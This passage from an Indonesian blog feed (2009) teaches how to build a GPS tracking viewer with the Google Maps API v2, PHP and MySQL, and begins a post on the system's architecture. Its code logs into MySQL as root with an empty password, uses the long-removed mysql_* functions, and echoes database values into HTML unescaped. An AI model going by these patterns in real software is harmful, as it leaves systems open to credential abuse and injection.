         marker.<span class="me1">openInfoWindowHtml</span><span class="br0">&#40;</span>html<span class="br0">&#41;</span>;  <span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
    markers<span class="br0">&#91;</span>index<span class="br0">&#93;</span>=marker;<br />
    htmls<span class="br0">&#91;</span>index<span class="br0">&#93;</span>=html;<br />
    <span class="kw1">return</span> marker;<br />
<span class="br0">&#125;</span></div>
<p>Baris kode di atas menampilkan function createMarker() yang akan dipanggil oleh function refreshMarkers() seperti yang telah dijelaskan sebelumnya. Function ini akan menghasilkan object marker dengan icon yang bukan berupa icon standard Google Map melainkan icon yang kita definisikan sendiri.</p>
<p>Pada baris 1 terdapat definisi function createMarker() yang memiliki parameter point berupa informasi koordinat dimana marker akan ditampilkan, index berupa informasi marker ini adalah yang keberapa, dan label yang akan ditampilkan pada kotak informasi untuk marker tersebut.</p>
<p>Pada baris 2, kita membuat variabel icon yang merupakan variable dari object GIcon, yaitu object Google Map API yang digunakan untuk menampilkan icon.</p>
<p>Pada baris 3, kita menentukan gambar yang akan digunakan pada icon. Pada baris 4, kita menentukan ukuran icon tersebut yaitu dengan menggunakan object GSize(). Pada baris 5 kita menentukan titik anchor icon yaitu dengan menggunakan object GPoint(). Pada baris 5, kita menentukan titik koordinat bagi kota informasi untuk marker dengan menggunakan object GPoint().</p>
<p>Kemudian pada baris 7 kita membuat variabel marker yang merupakan object GMarker() pada koordinat yang ditentukan oleh variabel point dengan menggunakan icon yang ditentukan oleh variabel icon.</p>
<p>Kemudian pada baris 8 kita mendefinisikan variabel html yang merupakan kombinasi “&lt;pre&gt;” dan variabel label yang diambil dari parameter function dan diakhiri lagi dengan “&lt;/pre&gt;”.</p>
<p>Pada baris 9 kita mendaftarkan event baru dengan bantuan object Gevent.addListener untuk object marker pada event “click”. Hal yang dilakukan ketika object marker menerima mouse click adalah menjalankan function yang berisi perintah marker.openInfoWindowHtml(). Akibatnya ketika marker tersebut di-click maka akan muncul kotak informasi yang bersesuaian untuk marker tersebut.</p>
<p>Akhirnya kita pada baris 11-12 menyimpan marker yang baru terbuat tersebut pada variabel array JavaScript markers[] dan label untuk kotak informasinya pada variabel array JavaScript htmls[]. Kedua variabel ini kita perlukan pada saat user interface hendak memilih satu dari sekian banyak marker yang ada di atas peta Google Map.</p>
<p>Pada baris 13 function mengeluarkan hasil yaitu object marker yang bertipe GMarker yang baru saja dibuat di atas.</p>
<h2>List pilihan object yang dipantau</h2>
<p>Sesuai spesifikasi yang diinginkan, kita perlu membuat list box yang berisi daftar benda bergerak yang ingin kita pantau. Dari list ini dapat dipilih salah satu kemudian ketika kita klik tombol Zoom To maka tampilan peta Google Map akan mengarah ke koordinat dari benda bergerak tersebut.</p>
<p>Berikut adalah source code untuk membuat listbox yang mengambil data dari tabel lastpos.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;div id=<span class="st0">&quot;controller&quot;</span> style=<span class="st0">&quot;position:absolute; left:400px; top:10px&quot;</span>&gt;<br />
&lt;form&gt;<br />
    &lt;select name=<span class="st0">&quot;unit_id&quot;</span> multiple&gt;<br />
    <span class="kw2">&lt;?</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span>,<span class="st0">&quot;root&quot;</span>,<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;<br />
    <a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">&quot;dijexi_gps&quot;</span><span class="br0">&#41;</span>;<br />
    <span class="re0">$sql</span>=<span class="st0">&quot;select concat(unit_id,&#8217;|',lat,&#8217;|',lon), unit_id from lastpos order by id asc&quot;</span>;<br />
    <span class="re0">$rs</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><a href="http://www.php.net/mysql_error"><span class="kw3">mysql_error</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
    <span class="kw1">while</span> <span class="br0">&#40;</span><span class="re0">$row</span>=<a href="http://www.php.net/mysql_fetch_row"><span class="kw3">mysql_fetch_row</span></a><span class="br0">&#40;</span><span class="re0">$rs</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
    <span class="br0">&#123;</span><br />
        <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;option value =&#8217;&quot;</span> . <span class="re0">$row</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> . <span class="st0">&quot;&#8217;&gt;&quot;</span> . <span class="re0">$row</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;<br />
    <span class="br0">&#125;</span><br />
    <span class="kw2">?&gt;</span><br />
    &lt;/select&gt;<br />
    &lt;p&gt;<br />
    &lt;input type=<span class="st0">&quot;button&quot;</span> value=<span class="st0">&quot;Zoom To&quot;</span>  onClick=<span class="st0">&quot;zoomTo(this.form.unit_id.selectedIndex ,this.form.unit_id.value)&quot;</span>&gt;<br />
&lt;/form&gt;<br />
&lt;/div&gt;</div>
<p>Perhatikan baris-baris yang berhuruf tebal, yaitu kode-kode PHP untuk mengambil data dan menampilkannya menjadi listbox. Pada baris 5 kita mendefinisikan perintah SQL yang akan dikirimkan ke MySQL untuk menghasilkan data yang terdiri dari 2 kolom yaitu :</p>
<ol>
<li>yang berisi data gabungan dari field unit_id, lat, dan lon yang disambung dengan karakter pipe “|”, disini kita menggunakan function MySQL CONCAT(). Kolom ini akan digunakan sebagai indentifikasi dari item yang dipilih pada list box yaitu sebagai “value” dari listbox tersebut</li>
<li>field unit_id, yang akan digunakan sebagai label dari listbox</li>
</ol>
<p>Baris 7-11 adalah perintah PHP untuk mengeluarkan semua data hasil query dari SQL tersebut sehingga membentuk perintah HTML yang menampilkan listbox seperti spesifikasi.</p>
<p>Baris 15-17 adalah perintah HTML untuk menampilkan tombol “Zoom To” yang memiliki sifat ketika di-klik akan menjalankan function JavaScript zoomTo() dengan parameter index dari item yang dipilih pada listbox dan value dari item tersebut. Value dari item tersebut adalah gabungan dari unit_id, lat, dan lon yang dipisahkan oleh tanda pipe “|”.</p>
<p>Berikut ini adalah function zoomTo() yang diperlukan di atas.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> myclick<span class="br0">&#40;</span>i<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
    markers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">openInfoWindowHtml</span><span class="br0">&#40;</span>htmls<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span> </p>
<p><span class="kw2">function</span> zoomTo<span class="br0">&#40;</span>index, unit_id<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
    <span class="kw1">if</span><span class="br0">&#40;</span>unit_id==<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
        <span class="kw3">alert</span><span class="br0">&#40;</span><span class="st0">&#8216;Please select Unit ID&#8217;</span><span class="br0">&#41;</span>;<br />
        <span class="kw1">return</span> ;<br />
    <span class="br0">&#125;</span><br />
    <span class="kw2">var</span> temp = <span class="kw2">new</span> Array<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
    temp = unit_id.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">&#8216;|&#8217;</span><span class="br0">&#41;</span>;<br />
    <span class="kw2">var</span> p=<span class="kw2">new</span> GLatLng<span class="br0">&#40;</span>parseFloat<span class="br0">&#40;</span>temp<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>, parseFloat<span class="br0">&#40;</span>temp<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
    map.<span class="me1">setCenter</span><span class="br0">&#40;</span>p,<span class="nu0">13</span><span class="br0">&#41;</span>;<br />
    myclick<span class="br0">&#40;</span>index<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div>
<p>Perhatikan pada baris 5, kita mendefinisikan function zoomTo(). Function ini akan dipanggil oleh tombol “Zoom To” yang akan mengakibatkan peta Google Map memiliki titik tengah sama dengan koordinat benda yang dipilih dan melakukan zoom pada level tertentu.</p>
<p>Pada baris 7-10 dilakukan pengecekan apakah variabel parameter unit_id ada isinya yaitu apakah sebelumnya user telah memilih salah satu item dari listbox. Jika belum maka langsung keluar dari function ini.</p>
<p>Pada baris 12-13 kita mendefinisikan variabel array temp untuk menampung data hasil pemisahan variabel unit_id dengan karakter pipe “|”. Hasilnya adalah variabel temp yang memiliki 3 elemen array yaitu unit_id, latitute, dan longitude.</p>
<p>Pada baris 14, kita membuat variabel object p yang berjenis GLatLng() dengan parameter temp[1] dan temp[2] yaitu lat dan lon yang sebelumnya telah di konversi menjadi tipe data float oleh function parseFloat().</p>
<p>Pada baris 15 kite menentukan titip pusat dari peta Google Map menjadi koordinat yang variabel p yang sama dengan koordinat item yang dipilih dengan level zoom 13. Akibatnya peta akan bergeser dan menampilkan marker tepat di tengah-tengah peta.</p>
<p>Pada baris 18 kita memanggil function myClick() dengan parameter index yaitu variabel yang diperoleh dari parameter function zoomTo(). Variabel ini adalah index dari item list box yang dipilih oleh user.</p>
<p>Function myClick() berguna untuk menampilkan kotak informasi pada suatu marker yaitu dengan memanggil method openInfoWindowHtml() pada marker tersebut. Kalau kita ingat pada function createMarker() kita telah mengisi variabel array markers[] dan htmls[] dengan object marker dan informasi label masing-masing marker.</p>
<p>Pada function myClick() ini array tersebut dipanggil lagi dengan menggunakan index yang diambil dari index listbox. Hal yang perlu diperhatikan adalah index dari array markers[] dan htmls[] harus mengacu ke index yang sama dengan yang ada pada listbox, yaitu pada saat mendefinisikan perintah SQL pada saat memanggil data dari tabel lastpos.</p>
<h2>File viewer.php selengkapnya</h2>
<p>Berikut ini adalah source code file viewer.php seperti yang telah dibahas di atas.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html <span class="kw2">PUBLIC</span> <span class="st0">&quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;</span> <span class="st0">&quot;&lt;a href=&quot;</span>http:<span class="co1">//www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&quot;&gt;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&lt;/a&gt;&gt;</span><br />
&lt;html xmlns=<span class="st0">&quot;&lt;a href=&quot;</span>http:<span class="co1">//www.w3.org/1999/xhtml&quot;&quot;&gt;http://www.w3.org/1999/xhtml&quot;&lt;/a&gt;&gt;</span><br />
&lt;head&gt;<br />
&lt;meta http-equiv=<span class="st0">&quot;content-type&quot;</span> content=<span class="st0">&quot;text/html; charset=utf-8&quot;</span>/&gt;<br />
&lt;title&gt;Sistem Pemantau GPS Tracking&lt;/title&gt;<br />
&lt;script src=<span class="st0">&quot;http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;key=abce&quot;</span> type=<span class="st0">&quot;text/javascript&quot;</span>&gt;&lt;/script&gt;<br />
&lt;script type=<span class="st0">&quot;text/javascript&quot;</span>&gt;<br />
<span class="co1">//&lt;![CDATA[</span><br />
<span class="kw2">var</span> map = <span class="kw2">null</span>;<br />
<span class="kw2">var</span> timeOut=<span class="kw2">null</span>;<br />
<span class="kw2">var</span> markers=<span class="br0">&#91;</span><span class="br0">&#93;</span>;<br />
<span class="kw2">var</span> htmls=<span class="br0">&#91;</span><span class="br0">&#93;</span>; </p>
<p><span class="kw2">function</span> load<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
     <span class="kw1">if</span> <span class="br0">&#40;</span>GBrowserIsCompatible<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
     <span class="br0">&#123;</span><br />
         map = <span class="kw2">new</span> GMap2<span class="br0">&#40;</span>document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;map&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
         map.<span class="me1">setCenter</span><span class="br0">&#40;</span><span class="kw2">new</span> GLatLng<span class="br0">&#40;</span><span class="nu0">-6.8790</span>, <span class="nu0">107.63520</span><span class="br0">&#41;</span>, <span class="nu0">12</span><span class="br0">&#41;</span>;<br />
&nbsp;        map.<span class="me1">enableScrollWheelZoom</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp;        map.<span class="me1">addControl</span><span class="br0">&#40;</span><span class="kw2">new</span> GSmallMapControl<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;        map.<span class="me1">addControl</span><span class="br0">&#40;</span><span class="kw2">new</span> GMapTypeControl<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
        refreshMarkers<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span> </p>
<p><span class="kw2">function</span> refreshMarkers<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
    clearTimeout<span class="br0">&#40;</span>timeOut<span class="br0">&#41;</span>;<br />
    GDownloadUrl<span class="br0">&#40;</span><span class="st0">&quot;data.xml&quot;</span>, <span class="kw2">function</span><span class="br0">&#40;</span>data, responseCode<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
        <span class="kw2">var</span> fetch=<span class="nu0">0</span>;<br />
        window.<span class="kw3">status</span>= responseCode + <span class="st0">':'</span> + fetch++;<br />
        <span class="kw1">if</span><span class="br0">&#40;</span>responseCode != <span class="nu0">200</span><span class="br0">&#41;</span><br />
        <span class="br0">&#123;</span><br />
            <span class="kw1">return</span>;<br />
        <span class="br0">&#125;</span> </p>
<p>        <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i=<span class="nu0">0</span>; i&lt;markers.<span class="me1">length</span>; i++<span class="br0">&#41;</span><br />
        <span class="br0">&#123;</span><br />
            map.<span class="me1">removeOverlay</span><span class="br0">&#40;</span>markers<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
        <span class="br0">&#125;</span> </p>
<p>        <span class="kw2">var</span> xml = GXml.<span class="me1">parse</span><span class="br0">&#40;</span>data<span class="br0">&#41;</span>;<br />
        <span class="kw2">var</span> xmarkers = xml.<span class="me1">documentElement</span>.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">&quot;marker&quot;</span><span class="br0">&#41;</span>;<br />
        <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i = <span class="nu0">0</span>; i &lt; xmarkers.<span class="me1">length</span>; i++<span class="br0">&#41;</span><br />
        <span class="br0">&#123;</span><br />
            <span class="kw2">var</span> label = xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;label&quot;</span><span class="br0">&#41;</span>;<br />
            <span class="kw2">var</span> point = <span class="kw2">new</span> GLatLng<span class="br0">&#40;</span><br />
                 parseFloat<span class="br0">&#40;</span>xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;lat&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>,<br />
&nbsp;                parseFloat<span class="br0">&#40;</span>xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;lon&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
            map.<span class="me1">addOverlay</span><span class="br0">&#40;</span>createMarker<span class="br0">&#40;</span>point, i, label<span class="br0">&#41;</span> <span class="br0">&#41;</span>;<br />
&nbsp;        <span class="br0">&#125;</span><br />
    <span class="br0">&#125;</span><span class="br0">&#41;</span>; </p>
<p>    timeOut=setTimeout<span class="br0">&#40;</span><span class="st0">&quot;refreshMarkers()&quot;</span>,<span class="nu0">5000</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span> </p>
<p><span class="kw2">function</span> createMarker<span class="br0">&#40;</span>point, index, label<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
    <span class="kw2">var</span> icon = <span class="kw2">new</span> GIcon<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
    <span class="kw2">var</span> marker = <span class="kw2">new</span> GMarker<span class="br0">&#40;</span>point <span class="br0">&#41;</span>;<br />
    <span class="kw2">var</span> html= <span class="st0">&quot;&lt;pre&gt;&quot;</span>+label+<span class="st0">&quot;&lt;/pre&gt;&quot;</span>;<br />
    GEvent.<span class="me1">addListener</span><span class="br0">&#40;</span>marker, <span class="st0">&quot;click&quot;</span>, <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
         marker.<span class="me1">openInfoWindowHtml</span><span class="br0">&#40;</span>html<span class="br0">&#41;</span>;<br />
&nbsp;   <span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
    markers<span class="br0">&#91;</span>index<span class="br0">&#93;</span>=marker;<br />
    htmls<span class="br0">&#91;</span>index<span class="br0">&#93;</span>=html;<br />
    <span class="kw1">return</span> marker;<br />
<span class="br0">&#125;</span> </p>
<p><span class="kw2">function</span> myclick<span class="br0">&#40;</span>i<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
    markers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">openInfoWindowHtml</span><span class="br0">&#40;</span>htmls<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span> </p>
<p><span class="kw2">function</span> zoomTo<span class="br0">&#40;</span>index, unit_id<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
    <span class="kw1">if</span><span class="br0">&#40;</span>unit_id==<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
        <span class="kw3">alert</span><span class="br0">&#40;</span><span class="st0">'Please select Unit ID'</span><span class="br0">&#41;</span>;<br />
        <span class="kw1">return</span> ;<br />
    <span class="br0">&#125;</span><br />
    <span class="kw2">var</span> temp = <span class="kw2">new</span> Array<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
    temp = unit_id.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">'|'</span><span class="br0">&#41;</span>;<br />
    <span class="kw2">var</span> p=<span class="kw2">new</span> GLatLng<span class="br0">&#40;</span>parseFloat<span class="br0">&#40;</span>temp<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>, parseFloat<span class="br0">&#40;</span>temp<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
    map.<span class="me1">setCenter</span><span class="br0">&#40;</span>p,<span class="nu0">13</span><span class="br0">&#41;</span>;<br />
    myclick<span class="br0">&#40;</span>index<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="co1">//]]&gt;</span><br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body <span class="kw3">onload</span>=<span class="st0">&quot;load()&quot;</span> <span class="kw3">onunload</span>=<span class="st0">&quot;GUnload()&quot;</span>&gt;<br />
&lt;div id=<span class="st0">&quot;map&quot;</span> style=<span class="st0">&quot;width: 400px; height: 400px&quot;</span>&gt;Loading&lt;/div&gt;<br />
&lt;div id=<span class="st0">&quot;controller&quot;</span> style=<span class="st0">&quot;position:absolute; left:400px; top:10px&quot;</span>&gt;<br />
&lt;form&gt;<br />
    &lt;select <span class="kw3">name</span>=<span class="st0">&quot;unit_id&quot;</span> multiple&gt;<br />
    &lt;?<br />
    mysql_connect<span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span>,<span class="st0">&quot;root&quot;</span>,<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;<br />
    mysql_select_db<span class="br0">&#40;</span><span class="st0">&quot;dijexi_gps&quot;</span><span class="br0">&#41;</span>;<br />
    $sql=<span class="st0">&quot;select concat(unit_id,&#8217;|',lat,&#8217;|',lon),unit_id from lastpos order by id asc&quot;</span>;<br />
    $rs = mysql_query<span class="br0">&#40;</span>$sql<span class="br0">&#41;</span> or die<span class="br0">&#40;</span>mysql_error<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
    <span class="kw1">while</span> <span class="br0">&#40;</span>$row=mysql_fetch_row<span class="br0">&#40;</span>$rs<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
    <span class="br0">&#123;</span><br />
        echo <span class="st0">&quot;&lt;option value =&#8217;&quot;</span> . $row<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> . <span class="st0">&quot;&#8217;&gt;&quot;</span> . $row<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;<br />
    <span class="br0">&#125;</span><br />
    ?&gt;<br />
    &lt;/select&gt;<br />
    &lt;p&gt;<br />
    &lt;input type=<span class="st0">&quot;button&quot;</span> value=<span class="st0">&quot;Zoom To&quot;</span> onClick=<span class="st0">&quot;zoomTo(this.form.unit_id.selectedIndex ,this.form.unit_id.value)&quot;</span>&gt;<br />
&lt;/form&gt;<br />
&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<h2>Preview Aplikasi</h2>
<p>Berikut ini tampilan aplikasi Pemantau GPS Tracking:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/AplikasiPemantauGPSTracking.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="Aplikasi Pemantau GPS Tracking" src="http://www.dijexi.com/wp-content/uploads/2009/07/AplikasiPemantauGPSTracking_thumb.png" border="0" alt="Aplikasi Pemantau GPS Tracking" width="504" height="477" /></a></p>
<p>Pada artikel selanjutnya kita akan membahas mengenai aplikasi J2ME yang ditanam di handphone Nokia N95 supaya dapat mengirimkan data posisi GPS nya ke server GPS tracking kita.</p>
<p>Artikel terkait:</p>
<ul>
<li><a href="http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/">Membuat Sistem GPS Tracking</a></li>
<li><a href="http://www.dijexi.com/2009/07/membuat-aplikasi-dengan-google-map-api/">Membuat Aplikasi dengan Google Map API</a></li>
<li><a href="http://www.dijexi.com/2009/07/menguasai-structured-query-language-sql/">Menguasai Structured Query Language (SQL)</a></li>
</ul>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a><br />
<a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/" rel="bookmark">Membuat Sistem GPS Tracking</a></li><li><a href="http://www.dijexi.com/2009/07/gps-tracking-monitoring-application-with-google-map/" rel="bookmark">GPS Tracking Monitoring Application with Google Map</a></li><li><a href="http://www.dijexi.com/2009/08/diperlukan-programmer-phpjavascript-dan-c-dotnet/" rel="bookmark">Lowongan Kerja: Programmer PHP+Javascript dan C# Dotnet</a></li><li><a href="http://www.dijexi.com/2009/08/lowongan-kerja-php-junior-programmer/" rel="bookmark">Lowongan Kerja: PHP Junior Programmer</a></li><li><a href="http://www.dijexi.com/2009/07/developing-web-application-with-google-map-api/" rel="bookmark">Developing Web Application with Google Map API</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Faplikasi-pemantau-gps-tracking-dengan-google-maps%2F&amp;linkname=Aplikasi%20Pemantau%20GPS%20Tracking%20dengan%20Google%20Maps"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/aplikasi-pemantau-gps-tracking-dengan-google-maps/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Membuat Sistem GPS Tracking</title>
		<link>http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/</link>
		<comments>http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 23:45:12 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Google Map]]></category>
		<category><![CDATA[GPS Tracking System]]></category>
		<category><![CDATA[gps tracking]]></category>
		<category><![CDATA[n95]]></category>
		<category><![CDATA[nokia]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/</guid>
		<description><![CDATA[Arsitektur sistem secara global Sistem terdiri dari Tracking Devices yaitu alat yang secara periodik atau berdasarkan kondisi tertentu mengirimkan informasi posisinya pada saat itu. Informasi posisi diperoleh dari perhitungan data yang diterimanya dari satelit GPS yang senantiasa ada setiap saat. Pada seri artikel ini kita akan menggunakan handphone Nokia N95 yang telah dilengkapi dengan GPS [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h2>Arsitektur sistem secara global</h2>
<p>Sistem terdiri dari <strong>Tracking Devices </strong>yaitu alat yang secara periodik atau berdasarkan kondisi tertentu mengirimkan informasi posisinya pada saat itu. Informasi posisi diperoleh dari perhitungan data yang diterimanya dari satelit GPS yang senantiasa ada setiap saat. Pada seri artikel ini kita akan menggunakan handphone Nokia N95 yang telah dilengkapi dengan GPS receiver built in, dan membuat program J2ME sehingga hanphone dapat berfungsi sebagai GPS Tracking Device.</p>
<p><span id="more-626"></span>Sistem GPS Tracking secara global dapat digambarkan seperti di bawah.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/image.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Arsitektur Sistem GPS Tracking" src="http://www.dijexi.com/wp-content/uploads/2009/07/image_thumb.png" border="0" alt="Arsitektur Sistem GPS Tracking" width="519" height="326" /></a></p>
<p>Data posisi tersebut dikirimkan oleh N95 ke Server GPS Tracking melalui internet (disini kita menggunakan HTTP untuk mengirimkan data). Koneksi ke internet dilakukan melalui GPRS yang dimiliki oleh masing-masing operator GSM dan terhubung ke internet.</p>
<p>Di internet kita memiliki <strong>GPS Tracking Server</strong> yang diletakkan pada server hosting yang akan menampung data yang dikirimkan oleh Nokia N95 pada sebuah database (di sini kita menggunakan MySQL). Server tersebut kita lengkapi dengan aplikasi pemantau (di sini kita buat dengan PHP) sehingga dapat diakses oleh komputer pemantau melalui web browser.</p>
<h2>Aplikasi di GPS tracking device</h2>
<p>Pada Nokia 95 kita akan membuat aplikasi berbasis J2ME yang mengakses GPS Receiver yang telah ada secara built-in. Setelah informasi posisi didapat, maka data tersebut dikirimkan secara periodik melalui koneksi GPRS dengan protokol HTTP ke server GPS Tracking. Format URL untuk mengirimkan data melalui HTTP misalnya:</p>
<p><a href="http://namaserver/u.php?unit=1&amp;lat=-6.100&amp;lon=107.2900">http://namaserver/up.php?unit=1&amp;lat=-6.100&amp;lon=107.2900</a></p>
<p>Struktur URL tersebut terdiri dari beberapa bagian dan dapat dijelaskan sebagai berikut:</p>
<table border="1" cellspacing="0" cellpadding="4" width="498" bordercolor="#000000">
<colgroup>
<col width="51"></col>
<col width="205"></col>
</colgroup>
<tbody>
<tr valign="top">
<th width="189">Bagian</th>
<th width="307">Keterangan</th>
</tr>
<tr valign="top">
<td width="192">Http://</td>
<td width="306">Nama protokol yang digunakan yaitu HTTP</td>
</tr>
<tr valign="top">
<td width="194">Namaserver</td>
<td width="304">Nama server GPS Tracking yang dikenali di internet misalnya nama server hosting yang kita gunakan</td>
</tr>
<tr valign="top">
<td width="195">u.php</td>
<td width="304">Nama file PHP yang memproses data yang diterima dari Nokia N95. File ini akan menyimpan data yang diterimanya ke database untuk diproses selanjutnya oleh server gps tracking.</td>
</tr>
<tr valign="top">
<td width="195">Unit=1</td>
<td width="304">Parameter identifikasi unit GPS Tracking device, dimana setiap unit yang mengirimkan data</td>
</tr>
<tr valign="top">
<td width="195">Lat=-6.100</td>
<td width="304">Latitude koordinat GPS device pada saat itu</td>
</tr>
<tr valign="top">
<td width="195">Lon=107.2900</td>
<td width="304">Longitude koordinat GPS device pada saat itu</td>
</tr>
</tbody>
</table>
<p>Prinsip kerja aplikasi J2ME sendiri kita sederhanakan sebagai berikut:</p>
<ol>
<li>Inisialisasi data</li>
<li>Baca data dari GPS dan tunggu sampai data posisi GPS sudah didapatkan</li>
<li>Jika data GPS sudah didapat dan perioda pengiriman data (misal setiap 1 menit) sudah dicapai maka buka koneksi GPRS dan kirimkan data melalui HTTP dengan format URL seperti di atas</li>
<li>Ulangi langkah ke 2, demikian seterusnya, proses ini dilakukan setiap 1 detik sekali.</li>
</ol>
<p>Implementasi looping di atas akan dilakukan dengan fasilitas Timer yang sudah terdapat pada J2ME.</p>
<p>Flow chart aplikasi GPS Tracking Device dapat digambarkan sebagai berikut:</p>
